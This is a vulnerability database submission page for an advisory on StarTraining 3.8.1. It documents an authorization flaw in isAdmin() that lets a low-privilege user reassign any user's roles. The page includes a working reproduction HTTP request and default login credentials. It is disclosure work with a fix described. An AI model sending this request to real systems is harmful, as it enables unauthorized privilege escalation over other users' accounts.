| Название | zhistaredu StarTraining 3.8.1 Improper Authorization |
|---|
| Описание | StarTraining 3.8.1 — Broken data-scope check enables arbitrary role reassignment (IDOR) (ST-VULN-004)
Product: StarTraining 3.8.1
CWE: CWE-639 / CWE-862
Classification: Improper Authorization
=== SUMMARY ===
`SysUser.isAdmin(String userId)` returns true whenever userId != null, so `checkUserDataScope()` never restricts access. `PUT /system/user/authRole` reassigns roles for arbitrary userId.
=== ROOT CAUSE ===
Broken isAdmin() + missing @PreAuthorize on user role grant endpoint.
=== REPRODUCTION ===
# Login low user wukong/admin123 or use forged JWT
PUT /system/user/authRole HTTP/1.1
Host: 127.0.0.1:8900
Authorization: LOW_USER_TOKEN
Content-Type: application/x-www-form-urlencoded
Connection: close
userId=fa36ec75-160a-47e4-8140-ef1e94c5d329&roleIds=0cd789a0-1187-4c62-901d-a2801794e27a
Expected: HTTP 200; victim admin roleIds replaced
=== IMPACT ===
Horizontal/vertical privilege escalation within tenant.
=== FIX ===
Fix isAdmin to check real admin flag; enforce @PreAuthorize; validate roleIds scope.
|
|---|
| Источник | ⚠️ https://github.com/ArrestX/startraining-advisories/blob/main/advisories/ST-VULN-004-idor-auth-role-privesc.md |
|---|
| Пользователь | thmanhz (UID 100327) |
|---|
| Представление | 05.08.2026 02:18 (2 месяцы назад) |
|---|
| Модерация | 27.09.2026 05:38 (2 months later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 410808 [zhistaredu StarTraining до 3.8.1 authRole Endpoint SysUser.java SysUser.isAdmin userId/roleIds эскалация привилегий] |
|---|
| Баллы | 20 |
|---|